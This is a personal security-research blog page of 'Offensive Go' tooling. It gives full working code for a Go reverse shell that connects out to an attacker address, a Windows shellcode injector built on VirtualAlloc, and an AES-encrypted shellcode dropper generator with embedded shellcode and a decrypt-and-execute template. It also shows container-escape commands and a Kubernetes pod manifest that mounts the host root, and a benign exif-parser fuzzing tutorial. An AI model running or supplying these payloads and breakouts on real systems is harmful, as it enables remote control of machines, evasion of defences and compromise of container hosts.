A page to compile my journey through various experiments in security research and programming.

@jan0ski_ | jan0ski


$ ls ./

Offensive Go

Code

Fuzzing

Reverse Shell

To create a binary for a specific operating system or architecture, set the GOOS and GOARCH environment variables before running the go build command.

$ GOOS=$target_os GOARCH=$target_arch go build reverse_shell.go

package main

import (
	"net"
	"os/exec"
	"runtime"
)

func main() {
	// Establish connection to attacking host
	conn, err := net.Dial("tcp", "127.0.0.1:443")
	if err != nil {
		panic(err)
	}

	// Determine which shell to use
	var shell string
	switch runtime.GOOS {
	case "windows":
		shell = "cmd.exe"
	case "linux":
		shell = "/bin/sh"
	case "darwin":
		shell = "/bin/bash"
	}

	// Run shell command, pointing file descriptors to remote connection
	cmd := exec.Command(shell)
	cmd.Stdin = conn
	cmd.Stdout = conn
	cmd.Stderr = conn
	cmd.Run()
}

Code Injection

Example of injecting shellcode into a local process.


Calling the Windows API

To call the Windows API in Go, we need to use the syscall library to load kernel32.dll and create references to the functions we need to use. Additionally, we'll create some constants reflecting those that exist in the Windows API.

For shellcode injection, the VirtualAlloc Windows function is used to allocate memory in our process to store the payload.

const (
	PROCESS_ALL_ACCESS     = syscall.STANDARD_RIGHTS_REQUIRED | syscall.SYNCHRONIZE | 0xfff
	MEM_COMMIT             = 0x001000
	MEM_RESERVE            = 0x002000
	PAGE_EXECUTE_READWRITE = 0x40
)

var (
	kernel32         = syscall.NewLazyDLL("kernel32.dll")
	procVirtualAlloc = kernel32.NewProc("VirtualAlloc")
)

Allocating memory and calling VirtualAlloc

Referencing documentation for the VirtualAlloc function in the C++ Windows API, we set our parameters to the Call function similarly in Go:

C++

LPVOID VirtualAlloc(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flAllocationType,
    DWORD  flProtect
);

Go

	// Allocate memory as PAGE_EXECUTE_READWRITE
	addr, _, err := procVirtualAlloc.Call(
		0,                       // Starting address of region to allocate
		uintptr(len(shellcode)), // Size of region to allocate
		MEM_RESERVE|MEM_COMMIT,  // Memory allocation type
		PAGE_EXECUTE_READWRITE,  // Memory protection permissions
	)

Next, we write our shellcode into the allocated memory and execute it via a syscall at that memory address.

To copy the shellcode, we create a pointer reference to our allocated memory, addr, and cast it as a pointer to a large byte array. After the payload is copied in, we can execute it with syscall.Syscall(), passing in our shellcode starting address:

	// Write the shellcode into the allocated memory
	buf := (*[890000]byte)(unsafe.Pointer(addr))
	for x, value := range []byte(shellcode) {
		buf[x] = value
	}

	syscall.Syscall(addr, 0, 0, 0, 0)

Since the msfvenom shellcode is 32-bit, we set the GOARCH environment variable accordingly to compile into a 32-bit executable. If all goes well, building and executing the source should show our shellcode is executed:

Reverse Shell

Catching the reverse shell launched via injected shellcode payload.


References

Encrypted Shellcode Injection

A tool to generate go source code to compile payloads utilizing encrypted shellcode injection. To be used with a template Go file to execute the encrypted shellcode.


Encrypted Payload Generator

  • Generate shellcode with msfvenom or other tools.
  • Encrypt it using AES-256.
  • Place the key and the encrypted shellcode into a template Go file.

Usage:
$ go run encrypted_payload_creator.go > payload.go

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand"
	"encoding/base64"
	"io/ioutil"
	"os"
	"text/template"
)

// Struct to hold template arguments
type args struct {
	Key        string
	Ciphertext string
}

// Random bytes for encryption key
func generateRandomBytes(n int) ([]byte, error) {
	b := make([]byte, n)
	_, err := rand.Read(b)
	if err != nil {
		return nil, err
	}

	return b, nil
}

// Returns base64 encoded ciphertext encrypted with random 32-bit key
func encrypt(plaintext []byte) (string, string) {
	key, _ := generateRandomBytes(32)
	block, _ := aes.NewCipher(key)
	ciphertext := make([]byte, len(plaintext))
	stream := cipher.NewCTR(block, key[aes.BlockSize:])
	stream.XORKeyStream(ciphertext, plaintext)

	return base64.StdEncoding.EncodeToString(ciphertext), base64.StdEncoding.EncodeToString(key)
}

func main() {
	// Read go code template file
	file, err := ioutil.ReadFile("encrypted_shellcode_template.go")
	if err != nil {
		panic(err)
	}

	// Parse template
	tmpl, err := template.New("body").Parse(string(file))
	if err != nil {
		panic(err)
	}

	// Encrypt payload (notepad.exe)
	data := []byte("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74\x65\x70\x61\x64\x2e\x65\x78\x65\x00")
	ciphertext, key := encrypt(data)

	// Generate go code for dropper using Ciphertext and Key template variables, print to Stdout
	tmpl.Execute(os.Stdout, args{
		Ciphertext: ciphertext,
		Key:        key,
	})
}

The Payload Template

  • Used as a template Go file for the generator to include its encrypted shellcode and key.
  • Decrypts shellcode with a given key and executes its memory via local code injection.

Be sure to set GOARCH to 32 or 64-bit depending on your payload when using msfvenom shellcode.

# Linux / Darwin
$ GOOS=windows GOARCH=386 go build encrypted_shellcode.go

# Windows
PS C:\> $Env:GOARCH=386; go build encrypted_shellcode.go

Encrypted Shellcode Template

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"strings"
	"syscall"
	"unsafe"
)

const (
	PROCESS_ALL_ACCESS     = syscall.STANDARD_RIGHTS_REQUIRED | syscall.SYNCHRONIZE | 0xfff
	MEM_COMMIT             = 0x001000
	MEM_RESERVE            = 0x002000
	PAGE_EXECUTE_READWRITE = 0x40
)

var (
	kernel32         = syscall.NewLazyDLL("kernel32.dll")
	procVirtualAlloc = kernel32.NewProc("VirtualAlloc")
)

func main() {
	// Decode ciphertext into shellcode
	ciphertext, _ := base64.StdEncoding.DecodeString("{{.Ciphertext}}")
	key, _ := base64.StdEncoding.DecodeString("{{.Key}}")
	block, _ := aes.NewCipher(key)
	plaintext := make([]byte, len(ciphertext))
	stream := cipher.NewCTR(block, key[aes.BlockSize:])
	stream.XORKeyStream(plaintext, ciphertext)

	// Allocate memory as PAGE_EXECUTE_READWRITE
	addr, _, err := procVirtualAlloc.Call(0, uintptr(len(plaintext)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)
	if err != nil && !strings.Contains(err.Error(), "operation completed successfully") {
		panic(err)
	}

	// Write the shellcode into the allocated memory
	buf := (*[890000]byte)(unsafe.Pointer(addr))
	for x, value := range plaintext {
		buf[x] = value
	}

	syscall.Syscall(addr, 0, 0, 0, 0)
}

References

Exif Parser Fuzzing

Writing a custom fuzzer for an exif parser using Go.


Easy Fuzzing Target

A light google search of common fuzzing targets implemented in memory-unsafe languages such as C leads me to find this repo. It's a great, simple implementation of an exif parser and will work perfectly for our purposes.

To test the output of the tool, compile the binary and run it on a sample jpg containing exif data. A great sample set can be found at https://github.com/ianare/exif-samples.

~/exifFuzz/exif $ make
~/exifFuzz/exif $ ./exif ../exif-samples/Canon_40D.jpg

[Canon_40D.jpg] createIfdTableArray: result=4

{0TH IFD}
 - Make: [Apple]
 - Model: [iPod touch]
 - Orientation: 1
... snip ...

Designing the Fuzzer

Fuzzing in general is all about rapidly varying the inputs of an application. In this case, all the data we have to manipulate is the contents of our input file. Randomly chaning individual bytes or patterns in the input file is bound to produce some unexpected results. This means our fuzzer will need to perform the following actions:

  • Read in the bytes of a file.
  • Manipulate the bytes of a file in various ways.
  • Save the new mutated file.
  • Run the exif binary on the mutated file.
  • Detect interesting crashes of the program.
  • Save the output of these crashes to a file with a meaningful name.
  • Repeat many many times.

File Operations

To manipulate the bytes of an input file, we use the ioutil package. We'll create two functions, getBytes and createNew that we will use to read the input file into a slice of bytes and then create a new file after we've mutated them. We can also include a small function, check that we use to check error values.

These helper functions are done simply:

// Check and panic on error
func check(e error) {
    if e != nil {
    panic(e)
    }
}

// Retrieve bytes from `filename`
func getBytes(filename string) []byte {
    f, err := ioutil.ReadFile(filename)
    check(err)
    return f
}

// Create new file with `data`
func createNew(data []byte) {
    err := ioutil.WriteFile("mutated.jpg", data, 0644)
    check(err)
}

Input File Mutation

The Bit Flip

An easy way to change input data is a simple bit flip. To implement this, I decided I would randomly select a percentage of the bytes in the file, and of that subset I'd change a byte randomly. This is slightly different than changing a singular bit randomly throughout the file, however I felt it achieved generally the same effect.

To begin we'll need to select bytes at random, keeping track of their indexes in the input byte slice. We subtract 4 bytes off of the the file length to account for the FF D8 FF DB jpg file header.

var byteIndexes []int
numBytes := int(float64(len(data)-4) * .01)
for len(byteIndexes) < numBytes {
    // For random ints in range = rand.Intn(Max - Min) + Min
    byteIndexes = append(byteIndexes, rand.Intn((len(data)-4)-4)+4)
}
fmt.Println("Indexes chosen: ", byteIndexes)

Knowing these indexes, we'll then loop through the data and change the values of the target bytes, and return the mutated byte slice.

// Randomly change the bytes at the location of the chosen indexes
    for _, index := range byteIndexes {
        oldbytes := data[index]
        newbytes := byte(rand.Intn(0xFF))
        data[index] = newbytes
        fmt.Printf("Changed %x to %x\n", oldbytes, newbytes)
    }
    return data

Getting More Sophisticated - Magic Numbers

Since I generally don't know what I'm doing, I tend to read many blogs and watch technology streams to discover techniques in areas that I'm unfamiliar with - like Fuzzing! Gynvael's YouTube channel has loads of resources on fuzzing and is a great resource for learning more. In his intro to fuzzing stream, he mentions "Magic Numbers" in files that are ripe for manipulation.

The numbers are chosen based on the propensity for errors like integer underflow or overflow to result from changing their values.

  • 0xFF
  • 0x7F
  • 0x00
  • 0xFFFF
  • 0x0000
  • 0xFFFFFFFF
  • 0x00000000
  • 0x80000000 (Minimum 32-bit integer)
  • 0x40000000 (1/2 Min 32-bit integer)
  • 0x7FFFFFFF (Maximum 32-bit integer)

For example, if 0x7FFFFFFF is chosen as the value to replace, we'll have to replace the first byte with 0x7F and then each subsequent byte with 0xFF for a total of 4 bytes in length.

We'll construct a mapping for these values in a slice of int slices, and then pick a set at random to tell us what to change in the input data.

// Gynvael's magic numbers https://www.youtube.com/watch?v=BrDujogxYSk&
magicVals := [][]int{
    {1, 255},
    {1, 255},
    {1, 127},
    {1, 0},
    {2, 255},
    {2, 0},
    {4, 255},
    {4, 0},
    {4, 128},
    {4, 64},
    {4, 127},
}

pickedMagic := magicVals[rand.Intn(len(magicVals))]
index := rand.Intn(len(data) - 8)

We'll then just hard-code our values into a switch statement to change the input data according to the value selected:

// Hardcode byte overwrites for tuples beginning with (1, )
    if pickedMagic[0] == 1 {
        switch pickedMagic[1] {
        case 255:
            data[index] = 255
        case 127:
            data[index+1] = 127
        case 0:
            data[index] = 0
        }
        // Hardcode byte overwrites for tuples beginning with (2, )
        } else if pickedMagic[0] == 2 {
            switch pickedMagic[1] {
        case 255:
            data[index] = 255
            data[index+1] = 255
        case 0:
            data[index] = 0
            data[index+1] = 0
        }
        // Hardcode byte overwrites for tuples beginning with (4, )
        } else if pickedMagic[0] == 4 {
            switch pickedMagic[1] {
            case 255:
                data[index] = 255
                data[index+1] = 255
                data[index+2] = 255
                data[index+3] = 255
            case 0:
                data[index] = 0
                data[index+1] = 0
                data[index+2] = 0
                data[index+3] = 0
            case 128:
                data[index] = 128
                data[index+1] = 0
                data[index+2] = 0
                data[index+3] = 0
            case 64:
                data[index] = 64
                data[index+1] = 0
                data[index+2] = 0
                data[index+3] = 0
            case 127:
                data[index] = 127
                data[index+1] = 255
                data[index+2] = 255
                data[index+3] = 255
            }
    }
    return data
}

Randomize Mutations

To round out our mutation routines, and because our bit flipper isn't entirely obsolete (or at least I like to think it isn't), we can create one last wrapper function for mutating data. This wrapper will randomize our choice of mutator between the mutateMagic and mutateBits techniques.

// Select mutator at random to mutate `data`
func mutate(data []byte) []byte {
    mutators := []func([]byte) []byte{mutateBits, mutateMagic}
    return mutators[rand.Intn(len(mutators))](data)
}

Writing the Fuzzing Harness

Now for the real meat of the fuzzer. We need to feed the program our mutated file, and keep track of inputs that cause significant crashes. A significant crash in this case would be writing to memory outside of the range of the program, or a segmentation fault.

To easily capture the error output of a faulting instance of exif, we wrap the command in a bash -c command, and execute it with Go using the os/exec package. We then direct the stderr from the command to our buffer to analyze the output.

// Run command, capture output
var output bytes.Buffer
exifCommand := "/bin/bash"
cmd := exec.Command(exifCommand, "-c", "./exif/bin/exif ./mutated.jpg -verbose")
cmd.Stderr = &output
err := cmd.Start()
check(err)

We make sure to include a counter value in our wrapper program so we can determine which run created which error. If we find an iteration has exited in error, we check our error buffer for evidence of a segfault. When we find a segfault, write the input data as a jpg, labeled with the fuzzing iteration.

// Write any crashes to file
if err := cmd.Wait(); err != nil {
    if exitError, ok := err.(*exec.ExitError); ok {
        // Check if error is a segfault
        if strings.Contains(exitError.String(), "segmentation") {
            // Write falt-causing `data` to jpg file, label with `counter`
            fmt.Printf("%d - %s\n", counter, exitError)
            err = ioutil.WriteFile(fmt.Sprintf("./crashes/crash.%d.jpg", counter), data, 0644)
            check(err)
        }
    }
}

// Print `counter` as status updates
if counter%100 == 0 {
    fmt.Println(counter)
}

Putting it all Together

Now we're ready to create the main execution flow of our fuzzing routine. Looking back at what we set out to do, we see where each piece fits in:

  • Read in the bytes of a file. ✔ getBytes
  • Manipulate the bytes of a file in various ways. ✔ mutateMagic, mutateBits
  • Save the new mutated file. ✔ mutate
  • Run the exif binary on the mutated file. ✔ exif
  • Detect interesting crashes of the program. ✔ exif
  • Save the output of these crashes to a file with a meaningful name. ✔ exif
  • Repeat many many times.

Easy! All we need to do is run this through a loop and make it command-line ready with a main such as:

func main() {
    if len(os.Args) < 2 {
        fmt.Println("Usage: go exifFuzz.go <valid_jpg>")
        os.Exit(1)
    }

    // Create mutated file
    filename := os.Args[1]
    for counter := 0; counter < 100000; counter++ {
    data := getBytes(filename)
    mutated := mutate(data)
    createNew(mutated)
    exif(counter, mutated)
    }
}

Running our code gives us updates as it runs, and will start filling the crashes/ directory with jpg data that caused the program to segfault. As it executes iterations of the binary, you'll see it pick up some segfaults.

~/exifFuzz $ go build
~/exifFuzz $ ./exifFuzz exif-samples/jpg/Canon_40D.jpg
0
19 - signal: segmentation fault
65 - signal: segmentation fault
66 - signal: segmentation fault
... snip ...

Once our fuzzer is done, we can confirm the accuracy of our crash data by trying one out ourselves:

~/exifFuzz $ ./exif/bin/exif crashes/crash.2436.jpg
Segmentation fault

Conclusion

My experience with Go is that it is an extremely versatile and easy to learn language, with powerful low-level capabilities. Finding tools and solutions in one language and implementing them in Go is rather straightforward, and a great way to learn more, no what matter the source language is. This is a great example of a highly-documented use case that is a great exercise for learning a new language. This fuzzer can definitely be improved upon with goroutines for concurrency among many other optimizations for performance. We'll see what we can do in the future to implement concurrency into our fuzzer, or possibly implement it again in a more performant type-safe language such as Rust. Additionally, we could go down the route of exploitation, and explore ways of identifying vulnerabilities brought to light by our fuzzer.

The full source of this lab can be found on my Github. It includes everything needed for the steps covered here (including a version for the win32 binary!).


References

Containers & Kubernetes

HostPath

Abusing HostPath to escape containers.


Mounting Root Volumes Inside Containers

Docker

Run an alpine container with root filesystem mounted under /host in the container

$ docker run --rm -it -v /:/host alpine:latest /bin/sh
$ / # cat /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.12.0
PRETTY_NAME="Alpine Linux v3.12"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://bugs.alpinelinux.org/"

Changing my root directory to the /host directory with chroot allows us to break out of the container.

/ # ls
bin    etc    host   media  opt    root   sbin   sys    usr
dev    home   lib    mnt    proc   run    srv    tmp    var

/ # chroot /host bash
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@3396f9188944:/# 

Show release information has changed to Ubuntu (WSL)

root@3396f9188944:/# cat /etc/os-release
NAME="Ubuntu"
VERSION="20.04.1 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.1 LTS"
VERSION_ID="20.04"
...<snip>...

Access to drives on the host

$ root@3396f9188944:/# df -h
Filesystem      Size  Used Avail Use% Mounted on
/dev/sdb        251G   28G  211G  12% /
tools           1.8T  1.7T  131G  93% /init
none             13G     0   13G   0% /dev
tmpfs            13G     0   13G   0% /sys/fs/cgroup
...<snip>...
tmpfs            13G     0   13G   0% /mnt/wsl
C:\             1.8T  1.7T  131G  93% /mnt/c
D:\             112G   11G  102G  10% /mnt/d

Kubernetes

apiVersion: v1
kind: Pod
metadata:
  name: noderoot
spec:
  containers:
  - name: noderoot
    image: raesene/alpine-containertools
    imagePullPolicy: Always
    volumeMounts:
    - name: root
      mountPath: "/host"
  volumes:
  - name: root
    hostPath: 
      path: "/"

Exec into pod to see mounted host directory just like docker

$ kubectl apply -f noderoot.yaml
pod/noderoot created

$ kubectl exec -it pod/noderoot -- /bin/bash
bash-5.0# chroot /host bash
[root@noderoot /]# 

chroot onto the host

[root@noderoot /]# cat /etc/os-release
NAME=Fedora
VERSION="33.20210104.3.1 (CoreOS)"
ID=fedora
VERSION_ID=33
VERSION_CODENAME=""
PLATFORM_ID="platform:f33"
PRETTY_NAME="Fedora CoreOS 33.20210104.3.1"
...<snip>...

Docker Socket

The docker socker on the host is located at /var/run/docker.sock. Mounting this inside a container will allow processes running inside the container to interact with the docker daemon, and run additional containers.

$ docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock docker /bin/sh
/ # docker version
Client: Docker Engine - Community
 Version:           20.10.2
 API version:       1.41
 Go version:        go1.13.15
 Git commit:        2291f61
 Built:             Mon Dec 28 16:11:26 2020
 OS/Arch:           linux/amd64
 Context:           default
 Experimental:      true
...<snip>...

We can even see our own container running.

/ # docker ps
CONTAINER ID   IMAGE     COMMAND                  CREATED              STATUS              PORTS     NAMES
e52efd14f85c   docker    "docker-entrypoint.s…"   About a minute ago   Up About a minute             dreamy_poincare

Privileged Containers

Although we have complete access to the hosts filesystem, we still lack some capabilities we'd want to completely bypass all restrictions of the container and get true root.

Use capsh to show some capabilities are missing, such as cap_sys_admin, the biggest bundle of privileges.

root@3396f9188944:/# capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Ambient set =

Run the container again, but using privileged flag and see we have cap_sys_admin and have truely broken out as root.

$ docker run --rm -it --privileged -v /:/host alpine:latest /bin/sh
/ # chroot /host bash
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@33507db52673:/# capsh --print
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
...

References

Kube_Security_Lab w/ Client-go

CTF Write-ups